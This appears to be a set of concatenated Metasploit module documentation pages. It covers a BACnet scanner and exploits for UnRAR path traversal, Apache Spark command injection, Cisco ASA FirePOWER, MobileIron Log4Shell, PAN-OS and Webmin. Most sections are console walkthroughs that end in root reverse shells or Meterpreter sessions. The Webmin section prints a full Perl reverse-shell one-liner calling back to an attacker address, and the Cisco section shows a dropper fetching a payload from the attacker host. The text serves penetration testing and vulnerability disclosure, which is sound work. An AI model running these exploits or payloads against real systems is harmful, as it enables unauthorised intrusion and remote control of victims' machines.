Developed under the auspices of the American Society of Heating,
Refrigerating and Air-Conditioning Engineers (ASHRAE), BACnet is an American national standard,
a European standard, a national standard in more than 30 countries, and an ISO global standard.
The protocol is supported and maintained by ASHRAE Standing Standard Project Committee 135
This script polls bacnet devices with a l3 broadcast Who-is message
and for each reply communicates further to discover more data and saves the data into metasploit.
Each bacnet device responds with this data:
- It's IP address, and BACnet/IP address (if the device is nested).
- It's device number.
- Model name.
- Application software version.
- Firmware revision.
- Device description.
## Verification Steps
1. Start msfconsole.
2. Do: `use auxiliary/scanner/scada/bacnet_l3`.
3. Do: `set INTERFACE`.
5. Do: `run`.
6. Devices running the BACnet protocol should respond with data.
## Options
A user can choose between the interfaces of his host (e.g. eth1, ens192...),
the number of Who-is packets to send - for reliability purposes, the time (in seconds) to wait for packets to arrive
and the UDP port, the default is 47808.
The user can always check these options via the `show options` command.
```
msf auxiliary(profinet_siemens) > show options
Module options (auxiliary/scanner/scada/bacnet_l3):
Name Current Setting Required Description
---- --------------- -------- -----------
COUNT 1 yes The number of times to send each packet
INTERFACE eth1 yes The interface to scan from
PORT 47808 yes BACnet/IP UDP port to scan (usually between 47808-47817)
TIMEOUT 1 yes The socket connect timeout in seconds
```
## Scenarios
The following demonstrates a basic scenario, we "detect" two devices:
```
msf > use auxiliary/scanner/scada/bacnet_l3
msf auxiliary(auxiliary/scanner/scada/bacnet_l3) > run
[*] Broadcasting Who-is via eth1
[*] found 2 devices
[*] Querying device number 826001 in ip 192.168.13.11
[*] Querying device number 4194303 in ip 192.168.13.12
[*] Done scanning
[+] for asset number 826001:
model name: iSMA-B-4U4A-H-IP
firmware revision: 6.2
application software version: GC5 6.2
description: BACnet iSMA-B-4U4A-H-IP Module
[+] for asset number 4194303:
model name: PXG3.L-1
firmware revision: FW=01.21.30.38;WPC=1.4.131;SVS-300:SBC=13.21;
application software version:
description: BacnetRouter
[+] Successfully saved data to local store named bacnet-discovery.xml
[*] Done.
[*] Auxiliary module execution completed
```
@@ -25,6 +25,35 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -node
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
IP and hostname to your hosts file.
### Using docker
Using the environment created by [vulhub](https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160)
First create a new docker-compose file:
```
version: '2'
services:
nginx:
image: vulhub/openssl:1.0.1c-with-nginx
ports:
- "8080:80"
- "8443:443"
```
Then run `docker-compose up` and verify that the service is running with:
```
$ curl https://localhost:8443 -k
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.11.13</center>
</body>
</html>
```
## Verification Steps
1. Install a vulnerable OpenSSL, start the service
@@ -0,0 +1,141 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
## Verification Steps
To generate the .rar file:
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
TARGET_PATH => ../../../../../../tmp/docstest.txt
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Target filename: ../../../../../../tmp/docstest.txt
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
```
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
```
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from /home/ron/.msf4/local/payload.rar
Extracting hhgdzigwkgv OK
Extracting hhgdzigwkgv OK
All OK
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
/tmp/docstest.txt: data
```
## Options
### `FILENAME`
The filename to generate, typically it's `payload.rar` and that works fine.
### `TARGET_PATH`
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
### `SYMLINK_FILENAME`
If set, use a specific filename for the symlink inside the RAR file - default (random) is almost always best.
### `CUSTOM_PAYLOAD`
If set, instead of encoding the configured payload, encode data from the given filename.
## Scenarios
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
### Built-in payload
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.bin
TARGET_PATH => ../../../../../../../../tmp/evil.bin
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
[*] Target filename: ../../../../../../../../tmp/evil.bin
[*] Encoding configured payload
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
```
Then:
```
ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from ./payload.rar
Extracting xkmcxqotn OK
Extracting xkmcxqotn OK
All OK
ron@fedora ~/.msf4/local $ file /tmp/evil.bin
/tmp/evil.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
```
### Custom payload
```
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil.sh
TARGET_PATH => ../../../../../../../../tmp/evil.sh
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh
[*] exec: echo -ne "#!/bin/bash\nwhoami\n" > /tmp/test.sh
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set CUSTOM_PAYLOAD /tmp/test.sh
CUSTOM_PAYLOAD => /tmp/test.sh
```
Then:
```
ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
Extracting from ./payload.rar
Extracting jwbhkf OK
Extracting jwbhkf OK
All OK
ron@fedora ~/.msf4/local $ bash /tmp/evil.sh
ron
/tmp/evil.sh: line 4: $'\177P\336': command not found
[...]
```
(The errors at the bottom are because we append random junk to the end for padding)
@@ -0,0 +1,184 @@
## Vulnerable Application
This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
The Apache Spark UI offers the possibility to enable ACLs via the configuration option `spark.acls.enable`.
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.
Ironically the `spark.acls.enable` configuration setting is designed to improve the security access within the Spark application,
but unfortunately this configuration setting triggers the vulnerable code below.
```
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
}
}
```
This will result in arbitrary shell command execution as the user `Spark`.
This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.
To set the server up use the following docker-compose.yml file and follow the steps below:
```
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.1.1
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
```
1. Create the docker-compose.yml in your preferred directory and run `docker-compose up`. Let the container spin up.
1. In a new terminal, enter `sudo docker exec -it spark_spark_1 /bin/bash`
1. In the container bash session, enter: `echo "spark.acls.enable true" >> conf/spark-defaults.conf`
1. cat the contents of spark-defaults.conf to make sure it looks good.
1. Exit the interactive bash shell and Ctrl-C your docker-compose process.
1. Once the containers have powered down gracefully, rerun `docker-compose up`
Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...
## Verification Steps
1. `use exploit/linux/http/apache_spark_rce_cve_2022_33891`
1. `set RHOSTS <TARGET HOSTS>`
1. `set LHOST <Address of Attacking Machine>`
1. `exploit`
1. You should get a shell or meterpreter as the `spark` user.
## Options
No specific options to be set.
## Scenarios
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true
```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[*] Perform sleep test of 10 seconds...
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.100.43
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.100.43 - Meterpreter session 3 closed.
[*] Sending stage (40168 bytes) to 192.168.100.43
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000
meterpreter > sysinfo
Computer : 7a26a9fb7ce3
OS : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: spark
```
### Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option
Note: This version is vulnerable, however the `spark.acls.enable` option is not set, hence the vulnerable code will not be triggered.
Response on POST payload request will be 200 instead of 403.
```
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) >
```
## Limitations
The check to determine if the application is vulnerable is based on a 403 response and the execution of a randomized `sleep` command.
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.
Credits goes to HuskyHacks that used this test in his [POC](https://github.com/HuskyHacks/cve-2022-33891) on GitHub.
@@ -0,0 +1,152 @@
## Vulnerable Application
### Description
This module exploits an authenticated command injection vulnerability affecting
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
ASDM web server and lands in the FirePower Services SFR module's Linux virtual
machine as the root user. Access to the virtual machine allows the attacker to
pivot to the inside network, and access the outside network. Also, the SFR
virtual machine is running snort on the traffic flowing through the ASA, so
the attacker should have access to this diverted traffic as well.
This module requires ASDM credentials in order to traverse the ASDM interface.
A similar attack can be performed via Cisco CLI (over SSH), although that isn't
implemented here. This attack also assumes the module is installed and
configured.
Finally, it's worth noting that this attack bypasses the effects of the
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
available but this attack makes it available).
Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
### Setup
Cisco ASA that support the FirePOWER Services module are, to our knowledge,
strictly hardware firewalls and not capable of being emulated. As such,
testing requires a physical device. Once a device is acquired, you'll
additionally need access to Cisco downloads of ASDM, ASA software, and the
FirePOWER Services Software for ASA. Unfortunately, Cisco hides these
behind a paywall (or a "contract" wall).
However, if you do acquire a Cisco ASA that supports the FirePOWER Services
module, then it will likely come with the module pre-installed. These systems
do support downgrading of the module via uninstall and reinstallation. If
you need to follow that course, then I found the following [guide](https://www.cisco.com/c/en/us/support/docs/security/asa-firepower-services/118644-configure-firepower-00.html#anc5) to be an excellent guide that
demonstrates how to install the FirePOWER module from boot image through
full installation.
This particular module exploits the FirePOWER module via ASDM, so you'll need
that installed and running as well. Likely, the ASA will have an ASDM binary
package already installed, but if not you'll need to download that from Cisco
and copy it onto the ASA. However, once that is complete, you can run the
following commands to start ASDM and enable it on the inside/outside network.
```
asdm image disk0:/asdm<version>.bin
http server enable
http network mask inside
http network mask outside
```
Where network and mask are who you want to be able to access it and inside
is the zone. E.g. "0.0.0.0 0.0.0.0 outside" is the internet. And that should
satisfy the pre-requisites for exploitation (ASDM+sfr).
## Verification Steps
* Follow setup steps above.
* Do: `use exploit/linux/http/cisco_asax_sfr_rce`
* Do: `set USERNAME <username>`
* Do: `set PASSWORD <password>`
* Do: `set RHOST <ip>`
* Do: `set LHOST <ip>`
* Do: `check`
* Verify the remote host is vulnerable.
* Do: `run`
* Verify the module acquires a root shell
## Options
### USERNAME
The username to authenticate with the ASDM http web server with.
### PASSWORD
The password to authenticate with the ASDM http web server with.
## Scenarios
### Successful exploitation of ASA 5506-X with FirePOWER Services for a root shell
```
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.21:43056 ) at 2022-04-21 12:49:15 -0700
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```
### Successful exploitation of ASA 5506-X with FirePOWER Services for a Meterpreter shell
```
msf6 > use exploit/linux/http/cisco_asax_sfr_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set RHOST 10.0.0.21
RHOST => 10.0.0.21
msf6 exploit(linux/http/cisco_asax_sfr_rce) > check
[+] 10.0.0.21:443 - The target is vulnerable. Successfully executed the 'id' command.
msf6 exploit(linux/http/cisco_asax_sfr_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/cisco_asax_sfr_rce) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully executed the 'id' command.
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.2:8080/FeB2t5vKpa
[*] Client 10.0.0.21 (curl/7.48.0) requested /FeB2t5vKpa
[*] Sending payload to 10.0.0.21 (curl/7.48.0)
[*] Meterpreter session 2 opened (10.0.0.2:4444 -> 10.0.0.21:43058 ) at 2022-04-21 12:51:44 -0700
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.
meterpreter > shell
Process 6315 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux firepower 3.10.107sf.cisco-1 #1 SMP PREEMPT Thu Mar 8 18:29:04 UTC 2018 x86_64 GNU/Linux
```
@@ -0,0 +1,112 @@
## Vulnerable Application
### Description
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user.
This module will start an LDAP server that the target will need to connect to.
### Setup
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
### MobileIron Core Appliance ISO Installation on VMWare Fusion
1. Obtain a `mobileiron-##.#.#.#-##.iso` file, the following steps utilize `mobileiron-10.6.0.0-23.iso`.
2. Use the ISO to create "A New Virtual Machine".
3. Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode
so that I can hit it over the network.
4. Boot the new virtual machine.
5. Type `vm-install` at the `boot:` prompt.
6. Wait patiently while the VM reboots and begins the install process. The system *will* reboot when installation completes.
7. When prompted with `Continue with configuration dialog?`, type `yes`
8. Type `q` to clear the license from the screen.
9. Accept the End User License Agreement by typing `yes`
10. Enter a Company Name / contact / email of your choosing. They don't matter.
11. Configure an enable password (e.g. `Labpass1`)
12. Enter an admin user name (e.g. `albinolobster`)
13. Enter and confirm an admin password (e.g. `Labpass1`)
14. Select `a` for the management interface
15. Assign a static IP address and network mask that works with your test network. (e.g. `10.9.49.101` and `255.255.255.0`)
16. Enter your test networks default gateway (e.g. `10.9.49.1`)
17. Enter a fully-qualified domain name for the device (e.g. `lobster.example.com`). Unfortunately, this needs to work. I added a
static DNS enty to my lab network's router.
18. Enter your desired name server. My lab network relies on the aforementioned router (e.g. `10.9.49.1`)
19. Enter blank entries for name server 2 and 3.
20. `yes` to enable remote shell access (why not, right?)
21. `no` to configuring NTP
22. `no` to configuring system clock
23. `yes` to commit changes
24. Type `reload` to restart the system and `yes`, when prompted, to both saving the configuration and proceeding with the reload
25. When the system has restarted, you should now have a vulnerable install of MobileIron Core.
26. Visit `https://ipaddr` to ensure the HTTP server has fully loaded
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/mobileiron_core_log4shell`
3. Set the `RHOSTS`, `LHOST`, and `SRVHOST`
4. Do: `run`
5. If the target is vulnerable, the payload should be executed
## Options
## Scenarios
### MobileIron Core 11.2.0.0-31
```
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
RHOSTS => 10.9.49.100
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
```
### MobileIron Core 10.6.0.0-23
```
msf6 > use exploit/linux/http/mobileiron_core_log4shell
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
LHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
SRVHOST => 10.9.49.248
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
SRVPORT => 1389
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
RHOSTS => 10.9.49.101
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
[*] Started reverse TCP handler on 10.9.49.248:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
[*] Server stopped.
id
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
uname -a
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.9.49.101 - Command shell session 1 closed.
```
@@ -0,0 +1,53 @@
## Vulnerable Application
This module exploits CVE-2020-2038, an authenticated OS Command Injection vulnerability in PAN-OS versions < 10.0.1,
< 9.1.4 and <9.0.10 that allows authenticated administrators to execute arbitrary OS commands with root privileges. The
Rest API allows authenticated users to send operational mode commands via the "op" request. Insufficient filtering of
user inputs in the "op" request allows an attacker to inject commands.
A Palo Alto Firewall demo VM can be requested at the following
[link](https://www.paloaltonetworks.com/company/request-demo). PANOS is the software that runs all Palo Alto Networks
next-generation firewalls. PAN-OS will be running on the VM by default. The only setup necessary should be setting the
administrator password.
## Verification Steps
1. Start msfconsole
1. Do: `use exploit/linux/http/panos_auth_rce`
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session as the `root` user.
## Scenarios
### PAN-OS 10.0.0
```
msf6 > use linux/http/panos_auth_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/panos_auth_rce) > set rhosts 192.168.2.196
rhosts => 192.168.2.196
msf6 exploit(linux/http/panos_auth_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/panos_auth_rce) > set PASSWORD N0tpassword!
PASSWORD => N0tpassword!
msf6 exploit(linux/http/panos_auth_rce) > run
[*] Started reverse TCP handler on 192.168.2.114:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Authenticating...
[+] Successfully obtained api key
[+] The target is vulnerable.
[*] Exploiting...
[*] Sending stage (989032 bytes) to 192.168.2.196
[*] Meterpreter session 1 opened (192.168.2.114:4444 -> 192.168.2.196:52592) at 2022-08-17 16:13:19 -0400
[*] Command Stager progress - 100.00% done (1111/1111 bytes)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : PA-VM-10-0-0.home
OS : Red Hat (Linux 3.10.0-957.21.3.10.pan.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,103 @@
## Vulnerable Application
This module exploits an arbitrary command injection in Webmin versions prior to
1.997.
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform package
updates and installation. Due to a lack of input sanitization, it is possible to
inject an arbitrary command that will be concatenated to the package manager call.
This exploit requires authentication and the account must have access to the
Software Package Updates module.
## Installation
### Ubuntu
- Download a vulnerable version: http://prdownloads.sourceforge.net/webadmin/webmin_1.996_all.deb
- Install it along with its dependencies (`libio-pty-perl` required when installing on Ubuntu 20.04)
```
apt-get install libauthen-pam-perl libio-pty-perl
dpkg -i ./webmin_1.996_all.deb
```
## Setup
- Go to `https://<target IP>:10000/`
- Login as `root` with the OS password
- Create a new user:
`Webmin > Webmin Users > Create a new privileged user > enter the username and password > click Create`
- Setup permissions
`Click on the username > Available Webmin modules > select "Software Package Updates" in the System module list > Save`
## Verification Steps
1. Install and setup the application
1. Start msfconsole
1. Do: `use exploit/linux/http/webmin_package_updates_rce`
1. Do: `run lhost=<local IP> rhosts=<target IP> username=<username> password=<user password>`
1. You should get a shell.
## Options
### TARGETURI
Set this to the Webmin base path. The default is `/`.
### USERNAME
The account username to use.
### PASSWORD
The account password.
## Scenarios
### Webmin 1.996 on Ubuntu 18.04
- Target 0 (`Unix In-Memory`)
```
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.0.2:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Webmin 1.996 detected
[+] Webmin 1.996 is a supported target
[+] The target appears to be vulnerable.
[*] Attempting login
[+] Logged in!
[*] Sending payload
[*] Command shell session 4 opened (192.168.0.2:4444 -> 192.168.0.23:51860) at 2022-08-03 11:26:01 +0200
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/issue
Ubuntu 18.04.6 LTS \n \l
```
- Target 1 (`Linux Dropper`)
```
msf6 exploit(linux/http/webmin_package_updates_rce) > run lhost=192.168.0.2 verbose=true rhosts=192.168.0.23 username=msfuser password=123456
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Webmin 1.996 detected
[+] Webmin 1.996 is a supported target
[+] The target appears to be vulnerable.
[*] Attempting login
[+] Logged in!
[*] Sending payload
